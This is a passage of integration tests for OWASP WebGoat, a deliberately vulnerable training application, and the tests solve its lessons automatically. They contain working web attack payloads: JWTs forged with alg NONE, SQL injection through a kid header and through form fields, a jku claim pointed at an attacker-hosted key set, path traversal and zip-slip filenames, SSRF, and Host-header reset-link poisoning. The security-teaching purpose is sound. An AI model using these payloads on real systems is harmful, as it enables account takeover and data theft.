.get(webGoatUrlConfig.url("service/lessonoverview.mvc/%s.lesson".formatted(lesson)))
.andReturn();
MatcherAssert.assertThat(
result.then().statusCode(200).extract().jsonPath().getList("solved"),
CoreMatchers.everyItem(CoreMatchers.is(true)));
}
public void checkResults() {
var result =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(webGoatUrlConfig.url("service/lessonoverview.mvc"))
.andReturn();
MatcherAssert.assertThat(
result.then().statusCode(200).extract().jsonPath().getList("solved"),
CoreMatchers.everyItem(CoreMatchers.is(true)));
}
public void checkAssignment(
String url, ContentType contentType, String body, boolean expectedResult) {
MatcherAssert.assertThat(
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.contentType(contentType)
.cookie("JSESSIONID", getWebGoatCookie())
.body(body)
.post(url)
.then()
.statusCode(200)
.extract()
.path("lessonCompleted"),
CoreMatchers.is(expectedResult));
}
public void checkAssignmentWithGet(String url, Map<String, ?> params, boolean expectedResult) {
MatcherAssert.assertThat(
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.queryParams(params)
.get(url)
.then()
.statusCode(200)
.extract()
.path("lessonCompleted"),
CoreMatchers.is(expectedResult));
}
public String getWebWolfFileServerLocation() {
String result =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie())
.get(webWolfUrlConfig.url("file-server-location"))
.then()
.extract()
.response()
.getBody()
.asString();
result = result.replace("%20", " ");
return result;
}
public String webGoatServerDirectory() {
return RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(webGoatUrlConfig.url("server-directory"))
.then()
.extract()
.response()
.getBody()
.asString();
}
public void cleanMailbox() {
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie())
.delete(webWolfUrlConfig.url("mail"))
.then()
.statusCode(HttpStatus.ACCEPTED.value());
}
}

View File

@ -0,0 +1,307 @@
/*
* SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.integration;
import com.fasterxml.jackson.databind.JsonNode;
import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.databind.node.ObjectNode;
import io.jsonwebtoken.Header;
import io.jsonwebtoken.JwsHeader;
import io.jsonwebtoken.Jwt;
import io.jsonwebtoken.JwtException;
import io.jsonwebtoken.Jwts;
import io.jsonwebtoken.SignatureAlgorithm;
import io.jsonwebtoken.impl.TextCodec;
import io.restassured.RestAssured;
import java.io.IOException;
import java.nio.charset.Charset;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.NoSuchAlgorithmException;
import java.security.interfaces.RSAPublicKey;
import java.time.Instant;
import java.util.Base64;
import java.util.Calendar;
import java.util.Date;
import java.util.HashMap;
import java.util.Map;
import org.hamcrest.CoreMatchers;
import org.hamcrest.MatcherAssert;
import org.jose4j.jwk.JsonWebKeySet;
import org.jose4j.jwk.RsaJsonWebKey;
import org.junit.jupiter.api.Test;
import org.owasp.webgoat.lessons.jwt.JWTSecretKeyEndpoint;
public class JWTLessonIntegrationTest extends IntegrationTest {
@Test
public void solveAssignment() throws IOException, NoSuchAlgorithmException {
startLesson("JWT");
decodingToken();
resetVotes();
findPassword();
buyAsTom();
deleteTomThroughKidClaim();
deleteTomThroughJkuClaim();
quiz();
checkResults("JWT");
}
private String generateToken(String key) {
return Jwts.builder()
.setIssuer("WebGoat Token Builder")
.setAudience("webgoat.org")
.setIssuedAt(Calendar.getInstance().getTime())
.setExpiration(Date.from(Instant.now().plusSeconds(60)))
.setSubject("tom@webgoat.org")
.claim("username", "WebGoat")
.claim("Email", "tom@webgoat.org")
.claim("Role", new String[] {"Manager", "Project Administrator"})
.signWith(SignatureAlgorithm.HS256, key)
.compact();
}
private String getSecretToken(String token) {
for (String key : JWTSecretKeyEndpoint.SECRETS) {
try {
Jwt jwt = Jwts.parser().setSigningKey(TextCodec.BASE64.encode(key)).parse(token);
} catch (JwtException e) {
continue;
}
return TextCodec.BASE64.encode(key);
}
return null;
}
private void decodingToken() {
MatcherAssert.assertThat(
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.formParam("jwt-encode-user", "user")
.post(webGoatUrlConfig.url("JWT/decode"))
.then()
.statusCode(200)
.extract()
.path("lessonCompleted"),
CoreMatchers.is(true));
}
private void findPassword() {
String accessToken =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(webGoatUrlConfig.url("JWT/secret/gettoken"))
.then()
.extract()
.response()
.asString();
String secret = getSecretToken(accessToken);
MatcherAssert.assertThat(
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.formParam("token", generateToken(secret))
.post(webGoatUrlConfig.url("JWT/secret"))
.then()
.statusCode(200)
.extract()
.path("lessonCompleted"),
CoreMatchers.is(true));
}
private void resetVotes() throws IOException {
String accessToken =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(webGoatUrlConfig.url("JWT/votings/login?user=Tom"))
.then()
.extract()
.cookie("access_token");
String header = accessToken.substring(0, accessToken.indexOf("."));
header = new String(Base64.getUrlDecoder().decode(header.getBytes(Charset.defaultCharset())));
String body = accessToken.substring(1 + accessToken.indexOf("."), accessToken.lastIndexOf("."));
body = new String(Base64.getUrlDecoder().decode(body.getBytes(Charset.defaultCharset())));
ObjectMapper mapper = new ObjectMapper();
JsonNode headerNode = mapper.readTree(header);
headerNode = ((ObjectNode) headerNode).put("alg", "NONE");
JsonNode bodyObject = mapper.readTree(body);
bodyObject = ((ObjectNode) bodyObject).put("admin", "true");
String replacedToken =
new String(Base64.getUrlEncoder().encode(headerNode.toString().getBytes()))
.concat(".")
.concat(
new String(Base64.getUrlEncoder().encode(bodyObject.toString().getBytes()))
.toString())
.concat(".")
.replace("=", "");
MatcherAssert.assertThat(
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.cookie("access_token", replacedToken)
.post(webGoatUrlConfig.url("JWT/votings"))
.then()
.statusCode(200)
.extract()
.path("lessonCompleted"),
CoreMatchers.is(true));
}
private void buyAsTom() throws IOException {
String header =
new String(
Base64.getUrlDecoder()
.decode("eyJhbGciOiJIUzUxMiJ9".getBytes(Charset.defaultCharset())));
String body =
new String(
Base64.getUrlDecoder()
.decode(
"eyJhZG1pbiI6ImZhbHNlIiwidXNlciI6IkplcnJ5In0"
.getBytes(Charset.defaultCharset())));
body = body.replace("Jerry", "Tom");
ObjectMapper mapper = new ObjectMapper();
JsonNode headerNode = mapper.readTree(header);
headerNode = ((ObjectNode) headerNode).put("alg", "NONE");
String replacedToken =
new String(Base64.getUrlEncoder().encode(headerNode.toString().getBytes()))
.concat(".")
.concat(new String(Base64.getUrlEncoder().encode(body.getBytes())).toString())
.concat(".")
.replace("=", "");
MatcherAssert.assertThat(
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.header("Authorization", "Bearer " + replacedToken)
.post(webGoatUrlConfig.url("JWT/refresh/checkout"))
.then()
.statusCode(200)
.extract()
.path("lessonCompleted"),
CoreMatchers.is(true));
}
private void deleteTomThroughKidClaim() {
Map<String, Object> header = new HashMap();
header.put(Header.TYPE, Header.JWT_TYPE);
header.put(
JwsHeader.KEY_ID,
"hacked' UNION select 'deletingTom' from INFORMATION_SCHEMA.SYSTEM_USERS --");
String token =
Jwts.builder()
.setHeader(header)
.setIssuer("WebGoat Token Builder")
.setAudience("webgoat.org")
.setIssuedAt(Calendar.getInstance().getTime())
.setExpiration(Date.from(Instant.now().plusSeconds(60)))
.setSubject("tom@webgoat.org")
.claim("username", "Tom")
.claim("Email", "tom@webgoat.org")
.claim("Role", new String[] {"Manager", "Project Administrator"})
.signWith(SignatureAlgorithm.HS256, "deletingTom")
.compact();
MatcherAssert.assertThat(
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.post(webGoatUrlConfig.url("JWT/kid/delete?token=" + token))
.then()
.statusCode(200)
.extract()
.path("lessonCompleted"),
CoreMatchers.is(true));
}
private void deleteTomThroughJkuClaim() throws NoSuchAlgorithmException {
KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("RSA");
keyPairGenerator.initialize(2048);
KeyPair keyPair = keyPairGenerator.generateKeyPair();
var jwks = new JsonWebKeySet(new RsaJsonWebKey((RSAPublicKey) keyPair.getPublic()));
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie())
.multiPart("file", "jwks.json", jwks.toJson().getBytes())
.post(webWolfUrlConfig.url("fileupload"))
.then()
.extract()
.response()
.getBody()
.asString();
Map<String, Object> header = new HashMap();
header.put(Header.TYPE, Header.JWT_TYPE);
header.put(
JwsHeader.JWK_SET_URL, webWolfUrlConfig.url("files/%s/jwks.json".formatted(getUser())));
String token =
Jwts.builder()
.setHeader(header)
.setIssuer("WebGoat Token Builder")
.setAudience("webgoat.org")
.setIssuedAt(Calendar.getInstance().getTime())
.setExpiration(Date.from(Instant.now().plusSeconds(60)))
.setSubject("tom@webgoat.org")
.claim("username", "Tom")
.claim("Email", "tom@webgoat.org")
.claim("Role", new String[] {"Manager", "Project Administrator"})
.signWith(SignatureAlgorithm.RS256, keyPair.getPrivate())
.compact();
MatcherAssert.assertThat(
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.post(webGoatUrlConfig.url("JWT/jku/delete?token=" + token))
.then()
.statusCode(200)
.extract()
.path("lessonCompleted"),
CoreMatchers.is(true));
}
private void quiz() {
Map<String, Object> params = new HashMap<>();
params.put("question_0_solution", "Solution 1");
params.put("question_1_solution", "Solution 2");
checkAssignment(webGoatUrlConfig.url("JWT/quiz"), params, true);
}
}

View File

@ -0,0 +1,233 @@
/*
* SPDX-FileCopyrightText: Copyright © 2022 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.integration;
import io.restassured.RestAssured;
import io.restassured.http.ContentType;
import io.restassured.path.json.JsonPath;
import java.io.FileInputStream;
import java.io.InputStream;
import java.util.List;
import java.util.Properties;
import org.junit.jupiter.api.Assertions;
import org.junit.jupiter.api.Test;
public class LabelAndHintIntegrationTest extends IntegrationTest {
static final String ESCAPE_JSON_PATH_CHAR = "\'";
@Test
public void testSingleLabel() {
Assertions.assertTrue(true);
JsonPath jsonPath =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.contentType(ContentType.JSON)
.header("Accept-Language", "en")
.cookie("JSESSIONID", getWebGoatCookie())
.get(webGoatUrlConfig.url("service/labels.mvc"))
.then()
.statusCode(200)
.extract()
.jsonPath();
Assertions.assertEquals(
"Try again: but this time enter a value before hitting go.",
jsonPath.getString(ESCAPE_JSON_PATH_CHAR + "http-basics.close" + ESCAPE_JSON_PATH_CHAR));
// check if lang parameter overrules Accept-Language parameter
jsonPath =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.contentType(ContentType.JSON)
.header("Accept-Language", "en")
.cookie("JSESSIONID", getWebGoatCookie())
.get(webGoatUrlConfig.url("service/labels.mvc?lang=nl"))
.then()
.statusCode(200)
.extract()
.jsonPath();
Assertions.assertEquals(
"Gebruikersnaam",
jsonPath.getString(ESCAPE_JSON_PATH_CHAR + "username" + ESCAPE_JSON_PATH_CHAR));
jsonPath =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.contentType(ContentType.JSON)
.header("Accept-Language", "en")
.cookie("JSESSIONID", getWebGoatCookie())
.get(webGoatUrlConfig.url("service/labels.mvc?lang=de"))
.then()
.statusCode(200)
.extract()
.jsonPath();
Assertions.assertEquals(
"Benutzername",
jsonPath.getString(ESCAPE_JSON_PATH_CHAR + "username" + ESCAPE_JSON_PATH_CHAR));
// check if invalid language returns english
jsonPath =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.contentType(ContentType.JSON)
.header("Accept-Language", "nl")
.cookie("JSESSIONID", getWebGoatCookie())
.get(webGoatUrlConfig.url("service/labels.mvc?lang=xx"))
.then()
.statusCode(200)
.extract()
.jsonPath();
Assertions.assertEquals(
"Username", jsonPath.getString(ESCAPE_JSON_PATH_CHAR + "username" + ESCAPE_JSON_PATH_CHAR));
// check if invalid language returns english
jsonPath =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.contentType(ContentType.JSON)
.header("Accept-Language", "xx_YY")
.cookie("JSESSIONID", getWebGoatCookie())
.get(webGoatUrlConfig.url("service/labels.mvc"))
.then()
.statusCode(200)
.extract()
.jsonPath();
Assertions.assertEquals(
"Username", jsonPath.getString(ESCAPE_JSON_PATH_CHAR + "username" + ESCAPE_JSON_PATH_CHAR));
}
@Test
public void testHints() {
JsonPath jsonPathLabels = getLabels("en");
List<String> allLessons =
List.of(
"HttpBasics",
"HttpProxies",
"CIA",
"InsecureLogin",
"Cryptography",
"PathTraversal",
"XXE",
"JWT",
"IDOR",
"SSRF",
"WebWolfIntroduction",
"CrossSiteScripting",
"CSRF",
"HijackSession",
"SqlInjection",
"SqlInjectionMitigations",
"SqlInjectionAdvanced",
"Challenge1");
for (String lesson : allLessons) {
startLesson(lesson);
List<String> hintKeys = getHints();
for (String key : hintKeys) {
String keyValue =
jsonPathLabels.getString(ESCAPE_JSON_PATH_CHAR + key + ESCAPE_JSON_PATH_CHAR);
// System.out.println("key: " + key + " ,value: " + keyValue);
Assertions.assertNotNull(keyValue);
Assertions.assertNotEquals(key, keyValue);
}
}
// Assertions.assertEquals("http-basics.hints.http_basics_lesson.1",
// ""+jsonPath.getList("hint").get(0));
}
@Test
public void testLabels() {
JsonPath jsonPathLabels = getLabels("en");
Properties propsDefault = getProperties("");
for (String key : propsDefault.stringPropertyNames()) {
String keyValue =
jsonPathLabels.getString(ESCAPE_JSON_PATH_CHAR + key + ESCAPE_JSON_PATH_CHAR);
Assertions.assertNotNull(keyValue);
}
checkLang(propsDefault, "nl");
checkLang(propsDefault, "de");
checkLang(propsDefault, "fr");
}
private Properties getProperties(String lang) {
Properties prop = null;
if (lang == null || lang.equals("")) {
lang = "";
} else {
lang = "_" + lang;
}
try (InputStream input =
new FileInputStream("src/main/resources/i18n/messages" + lang + ".properties")) {
prop = new Properties();
// load a properties file
prop.load(input);
} catch (Exception e) {
e.printStackTrace();
}
return prop;
}
private void checkLang(Properties propsDefault, String lang) {
JsonPath jsonPath = getLabels(lang);
Properties propsLang = getProperties(lang);
for (String key : propsLang.stringPropertyNames()) {
if (!propsDefault.containsKey(key)) {
System.err.println("key: " + key + " in (" + lang + ") is missing from default properties");
Assertions.fail();
}
if (!jsonPath
.getString(ESCAPE_JSON_PATH_CHAR + key + ESCAPE_JSON_PATH_CHAR)
.equals(propsLang.get(key))) {
System.out.println(
"key: " + key + " in (" + lang + ") has incorrect translation in label service");
System.out.println(
"actual:" + jsonPath.getString(ESCAPE_JSON_PATH_CHAR + key + ESCAPE_JSON_PATH_CHAR));
System.out.println("expected: " + propsLang.getProperty(key));
System.out.println();
Assertions.fail();
}
}
}
private JsonPath getLabels(String lang) {
return RestAssured.given()
.when()
.relaxedHTTPSValidation()
.contentType(ContentType.JSON)
.header("Accept-Language", lang)
.cookie("JSESSIONID", getWebGoatCookie())
// .log().headers()
.get(webGoatUrlConfig.url("service/labels.mvc"))
.then()
// .log().all()
.statusCode(200)
.extract()
.jsonPath();
}
private List<String> getHints() {
JsonPath jsonPath =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.contentType(ContentType.JSON)
.cookie("JSESSIONID", getWebGoatCookie())
.get(webGoatUrlConfig.url("service/hint.mvc"))
.then()
// .log().all()
.statusCode(200)
.extract()
.jsonPath();
return jsonPath.getList("hint");
}
}

View File

@ -0,0 +1,151 @@
/*
* SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.integration;
import static org.junit.jupiter.api.DynamicTest.dynamicTest;
import io.restassured.RestAssured;
import java.util.Arrays;
import java.util.Map;
import org.apache.commons.lang3.StringUtils;
import org.assertj.core.api.Assertions;
import org.junit.jupiter.api.AfterEach;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.DynamicTest;
import org.junit.jupiter.api.TestFactory;
import org.springframework.http.HttpHeaders;
public class PasswordResetLessonIntegrationTest extends IntegrationTest {
@BeforeEach
public void init() {
startLesson("PasswordReset");
}
@TestFactory
Iterable<DynamicTest> passwordResetLesson() {
return Arrays.asList(
dynamicTest("assignment 6 - check email link", () -> sendEmailShouldBeAvailableInWebWolf()),
dynamicTest("assignment 6 - solve assignment", () -> solveAssignment()),
dynamicTest("assignment 2 - simple reset", () -> assignment2()),
dynamicTest("assignment 4 - guess questions", () -> assignment4()),
dynamicTest("assignment 5 - simple questions", () -> assignment5()));
}
public void assignment2() {
checkAssignment(
webGoatUrlConfig.url("PasswordReset/simple-mail/reset"),
Map.of("emailReset", this.getUser() + "@webgoat.org"),
false);
checkAssignment(
webGoatUrlConfig.url("PasswordReset/simple-mail"),
Map.of(
"email",
this.getUser() + "@webgoat.org",
"password",
StringUtils.reverse(this.getUser())),
true);
}
public void assignment4() {
checkAssignment(
webGoatUrlConfig.url("PasswordReset/questions"),
Map.of("username", "tom", "securityQuestion", "purple"),
true);
}
public void assignment5() {
checkAssignment(
webGoatUrlConfig.url("PasswordReset/SecurityQuestions"),
Map.of("question", "What is your favorite animal?"),
false);
checkAssignment(
webGoatUrlConfig.url("PasswordReset/SecurityQuestions"),
Map.of("question", "What is your favorite color?"),
true);
}
public void solveAssignment() {
// WebGoat
clickForgotEmailLink("tom@webgoat-cloud.org");
// WebWolf
var link = getPasswordResetLinkFromLandingPage();
// WebGoat
changePassword(link);
checkAssignment(
webGoatUrlConfig.url("PasswordReset/reset/login"),
Map.of("email", "tom@webgoat-cloud.org", "password", "123456"),
true);
}
public void sendEmailShouldBeAvailableInWebWolf() {
clickForgotEmailLink(this.getUser() + "@webgoat.org");
var responseBody =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie())
.get(webWolfUrlConfig.url("mail"))
.then()
.extract()
.response()
.getBody()
.asString();
Assertions.assertThat(responseBody).contains("Hi, you requested a password reset link");
}
@AfterEach
public void shutdown() {
// this will run only once after the list of dynamic tests has run, this is to test if the
// lesson is marked complete
checkResults("PasswordReset");
}
private void changePassword(String link) {
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.formParams("resetLink", link, "password", "123456")
.post(webGoatUrlConfig.url("PasswordReset/reset/change-password"))
.then()
.statusCode(200);
}
private String getPasswordResetLinkFromLandingPage() {
var responseBody =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie())
.get(webWolfUrlConfig.url("requests"))
.then()
.extract()
.response()
.getBody()
.asString();
int startIndex = responseBody.lastIndexOf("/PasswordReset/reset/reset-password/");
var link =
responseBody.substring(
startIndex + "/PasswordReset/reset/reset-password/".length(),
responseBody.indexOf(",", startIndex) - 1);
return link;
}
private void clickForgotEmailLink(String user) {
RestAssured.given()
.when()
.header(HttpHeaders.HOST, String.format("%s:%s", "127.0.0.1", webWolfUrlConfig.port()))
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.formParams("email", user)
.post(webGoatUrlConfig.url("PasswordReset/ForgotPassword/create-password-reset-link"))
.then()
.statusCode(200);
}
}

View File

@ -0,0 +1,156 @@
/*
* SPDX-FileCopyrightText: Copyright © 2020 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.integration;
import static org.junit.jupiter.api.DynamicTest.dynamicTest;
import io.restassured.RestAssured;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.nio.charset.StandardCharsets;
import java.nio.file.Files;
import java.nio.file.Path;
import java.util.Arrays;
import java.util.Map;
import java.util.zip.ZipEntry;
import java.util.zip.ZipOutputStream;
import lombok.SneakyThrows;
import org.hamcrest.CoreMatchers;
import org.hamcrest.MatcherAssert;
import org.junit.jupiter.api.AfterEach;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.DynamicTest;
import org.junit.jupiter.api.TestFactory;
import org.junit.jupiter.api.io.TempDir;
import org.springframework.security.core.token.Sha512DigestUtils;
class PathTraversalIT extends IntegrationTest {
@TempDir Path tempDir;
private File fileToUpload = null;
@BeforeEach
@SneakyThrows
public void init() {
fileToUpload = Files.createFile(tempDir.resolve("test.jpg")).toFile();
Files.write(fileToUpload.toPath(), "This is a test".getBytes());
startLesson("PathTraversal");
}
@TestFactory
Iterable<DynamicTest> testPathTraversal() {
return Arrays.asList(
dynamicTest("assignment 1 - profile upload", () -> assignment1()),
dynamicTest("assignment 2 - profile upload fix", () -> assignment2()),
dynamicTest("assignment 3 - profile upload remove user input", () -> assignment3()),
dynamicTest("assignment 4 - profile upload random pic", () -> assignment4()),
dynamicTest("assignment 5 - zip slip", () -> assignment5()));
}
private void assignment1() throws IOException {
MatcherAssert.assertThat(
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.multiPart("uploadedFile", "test.jpg", Files.readAllBytes(fileToUpload.toPath()))
.param("fullName", "../John Doe")
.post(webGoatUrlConfig.url("PathTraversal/profile-upload"))
.then()
.statusCode(200)
.extract()
.path("lessonCompleted"),
CoreMatchers.is(true));
}
private void assignment2() throws IOException {
MatcherAssert.assertThat(
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.multiPart("uploadedFileFix", "test.jpg", Files.readAllBytes(fileToUpload.toPath()))
.param("fullNameFix", "..././John Doe")
.post(webGoatUrlConfig.url("PathTraversal/profile-upload-fix"))
.then()
.statusCode(200)
.extract()
.path("lessonCompleted"),
CoreMatchers.is(true));
}
private void assignment3() throws IOException {
MatcherAssert.assertThat(
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.multiPart(
"uploadedFileRemoveUserInput",
"../test.jpg",
Files.readAllBytes(fileToUpload.toPath()))
.post(webGoatUrlConfig.url("PathTraversal/profile-upload-remove-user-input"))
.then()
.statusCode(200)
.extract()
.path("lessonCompleted"),
CoreMatchers.is(true));
}
private void assignment4() throws IOException {
var uri = "PathTraversal/random-picture?id=%2E%2E%2F%2E%2E%2Fpath-traversal-secret";
RestAssured.given()
.urlEncodingEnabled(false)
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(webGoatUrlConfig.url(uri))
.then()
.statusCode(200)
.body(CoreMatchers.is("You found it submit the SHA-512 hash of your username as answer"));
checkAssignment(
webGoatUrlConfig.url("PathTraversal/random"),
Map.of("secret", Sha512DigestUtils.shaHex(this.getUser())),
true);
}
private void assignment5() throws IOException {
var webGoatHome = webGoatServerDirectory() + "PathTraversal/" + this.getUser();
webGoatHome =
webGoatHome.replaceAll("^[a-zA-Z]:", ""); // Remove C: from the home directory on Windows
var webGoatDirectory = new File(webGoatHome);
var zipFile = new File(tempDir.toFile(), "upload.zip");
try (var zos = new ZipOutputStream(new FileOutputStream(zipFile))) {
ZipEntry e = new ZipEntry("../../../../../../../../../../" + webGoatDirectory + "/image.jpg");
zos.putNextEntry(e);
zos.write("test".getBytes(StandardCharsets.UTF_8));
}
MatcherAssert.assertThat(
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.multiPart("uploadedFileZipSlip", "upload.zip", Files.readAllBytes(zipFile.toPath()))
.post(webGoatUrlConfig.url("PathTraversal/zip-slip"))
.then()
.log()
.all()
.statusCode(200)
.extract()
.path("lessonCompleted"),
CoreMatchers.is(true));
}
@AfterEach
void shutdown() {
// this will run only once after the list of dynamic tests has run, this is to test if the
// lesson is marked complete
checkResults("PathTraversal");
}
}

View File

@ -0,0 +1,61 @@
/*
* SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.integration;
import io.restassured.RestAssured;
import io.restassured.response.Response;
import java.util.List;
import java.util.Map;
import java.util.concurrent.Callable;
import java.util.concurrent.ExecutionException;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
import java.util.stream.Collectors;
import java.util.stream.IntStream;
import org.assertj.core.api.Assertions;
import org.junit.jupiter.api.Test;
public class ProgressRaceConditionIntegrationTest extends IntegrationTest {
@Test
public void runTests() throws InterruptedException {
int NUMBER_OF_CALLS = 40;
int NUMBER_OF_PARALLEL_THREADS = 5;
startLesson("Challenge1");
Callable<Response> call =
() -> {
// System.out.println("thread "+Thread.currentThread().getName());
return RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.formParams(Map.of("flag", "test"))
.post(webGoatUrlConfig.url("challenge/flag/1"));
};
ExecutorService executorService = Executors.newFixedThreadPool(NUMBER_OF_PARALLEL_THREADS);
List<? extends Callable<Response>> flagCalls =
IntStream.range(0, NUMBER_OF_CALLS).mapToObj(i -> call).collect(Collectors.toList());
var responses = executorService.invokeAll(flagCalls);
// A certain amount of parallel calls should fail as optimistic locking in DB is applied
long countStatusCode500 =
responses.stream()
.filter(
r -> {
try {
// System.err.println(r.get().getStatusCode());
return r.get().getStatusCode() != 200;
} catch (InterruptedException | ExecutionException e) {
// System.err.println(e);
throw new IllegalStateException(e);
}
})
.count();
System.err.println("counted status 500: " + countStatusCode500);
Assertions.assertThat(countStatusCode500)
.isLessThanOrEqualTo((NUMBER_OF_CALLS - (NUMBER_OF_CALLS / NUMBER_OF_PARALLEL_THREADS)));
}
}

View File

@ -0,0 +1,29 @@
/*
* SPDX-FileCopyrightText: Copyright © 2020 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.integration;
import java.util.HashMap;
import java.util.Map;
import org.junit.jupiter.api.Test;
public class SSRFIntegrationTest extends IntegrationTest {
@Test
public void runTests() {
startLesson("SSRF");
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("url", "images/jerry.png");
checkAssignment(webGoatUrlConfig.url("SSRF/task1"), params, true);
params.clear();
params.put("url", "http://ifconfig.pro");
checkAssignment(webGoatUrlConfig.url("SSRF/task2"), params, true);
checkResults("SSRF");
}
}

View File

@ -0,0 +1,23 @@
/*
* SPDX-FileCopyrightText: Copyright © 2014 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.integration;
import java.util.Map;
import org.junit.jupiter.api.Test;
class SessionManagementIT extends IntegrationTest {
private static final String HIJACK_LOGIN_CONTEXT_PATH = "HijackSession/login";
@Test
void hijackSessionTest() {
startLesson("HijackSession");
checkAssignment(
webGoatUrlConfig.url(HIJACK_LOGIN_CONTEXT_PATH),
Map.of("username", "webgoat", "password", "webgoat"),
false);
}
}

View File

@ -0,0 +1,62 @@
/*
* SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.integration;
import java.util.HashMap;
import java.util.Map;
import org.junit.jupiter.api.Test;
public class SqlInjectionAdvancedIntegrationTest extends IntegrationTest {
@Test
public void runTests() {
startLesson("SqlInjectionAdvanced");
Map<String, Object> params = new HashMap<>();
params.put("username_reg", "tom' AND substring(password,1,1)='t");
params.put("password_reg", "password");
params.put("email_reg", "someone@microsoft.com");
params.put("confirm_password", "password");
checkAssignmentWithPUT(webGoatUrlConfig.url("SqlInjectionAdvanced/register"), params, false);
params.clear();
params.put("username_login", "tom");
params.put("password_login", "thisisasecretfortomonly");
checkAssignment(webGoatUrlConfig.url("SqlInjectionAdvanced/login"), params, true);
params.clear();
params.put("userid_6a", "'; SELECT * FROM user_system_data;--");
checkAssignment(webGoatUrlConfig.url("SqlInjectionAdvanced/attack6a"), params, true);
params.clear();
params.put(
"userid_6a",
"Smith' union select userid,user_name, user_name,user_name,password,cookie,userid from"
+ " user_system_data --");
checkAssignment(webGoatUrlConfig.url("SqlInjectionAdvanced/attack6a"), params, true);
params.clear();
params.put("userid_6b", "passW0rD");
checkAssignment(webGoatUrlConfig.url("SqlInjectionAdvanced/attack6b"), params, true);
params.clear();
params.put(
"question_0_solution",
"Solution 4: A statement has got values instead of a prepared statement");
params.put("question_1_solution", "Solution 3: ?");
params.put(
"question_2_solution",
"Solution 2: Prepared statements are compiled once by the database management system"
+ " waiting for input and are pre-compiled this way.");
params.put(
"question_3_solution",
"Solution 3: Placeholders can prevent that the users input gets attached to the SQL query"
+ " resulting in a seperation of code and data.");
params.put(
"question_4_solution",
"Solution 4: The database registers 'Robert' ); DROP TABLE Students;--'.");
checkAssignment(webGoatUrlConfig.url("SqlInjectionAdvanced/quiz"), params, true);
}
}

View File

@ -0,0 +1,82 @@
/*
* SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.integration;
import java.util.HashMap;
import java.util.Map;
import org.junit.jupiter.api.Test;
public class SqlInjectionLessonIntegrationTest extends IntegrationTest {
public static final String sql_2 = "select department from employees where last_name='Franco'";
public static final String sql_3 =
"update employees set department='Sales' where last_name='Barnett'";
public static final String sql_4_drop = "alter table employees drop column phone";
